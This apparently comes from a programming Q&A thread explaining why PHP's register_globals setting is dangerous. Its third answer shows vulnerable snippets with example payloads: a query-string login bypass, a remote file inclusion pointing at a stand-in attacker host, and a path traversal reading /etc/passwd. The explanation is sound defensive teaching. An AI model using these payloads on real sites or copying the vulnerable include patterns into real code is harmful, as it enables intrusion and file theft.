Why is REGISTER_GLOBALS so bad?

I'm not a PHP developer but i've seen in a couple of places that people seem to treat it like the plague or something. Why?


Solution 1:

REGISTER_GLOBALS means that all variables passed through GET or POST are avilable as global variables in your script. Since accessing undeclared variables is not an error in PHP (it's a warning), it can lead to very nasty situations. Consider this, for example:

<?php
// $debug = true;
if ($debug) {
    echo "query: $query\n";
}

It is not a bad thing per se (well engineered code should not generate warnings, therefore should not access any variables that might be undeclared (and should not need REGISTER_GLOBALS for the same reason)), but PHP code is usually [very] low quality, leading to this kind of security holes.

Solution 2:

Enabling REGISTER_GLOBALS exposes webpages served by PHP to vulnerabilities which some bad guys will be keen to exploit.

With it enabled, any query string at the end of the URL:

http://yourdomain/something.php?valid=true 

will affect the value of a variable $valid (for example) in something.php, if it exists.

If you're using publically available PHP code (a library for example) the names of variables are well known, and it would be possible for hackers to control their values by assigning values in the query string. They may be able to bypass authentication.

Even if you're not using public code, it may be possible to guess the names of important variables, and control their values.

It used to be the default to have REGISTER_GLOBALS enabled in PHP.INI

Recent practice has been to disable it by default. Enable it at your own risk!

Solution 3:

Just to add, here are some situations where having REGISTER_GLOBALS enabled could ruin your day:

Using the query string to bypass access control (hack using http://example.com/?logged=1):

<?php
$logged = User::getLogged();
if ($logged)
{
    include '/important/secret.php';
}
?>

Remote File Inclusion (RFI):

<?php
    //http://example.com/?path=http://evilbadthings.example.com/
    include "$path"; 
?>

Local File Inclusion (LFI):

<?php
    //http://example.com/?path=../../../../etc/passwd
    include "$path"; 
?>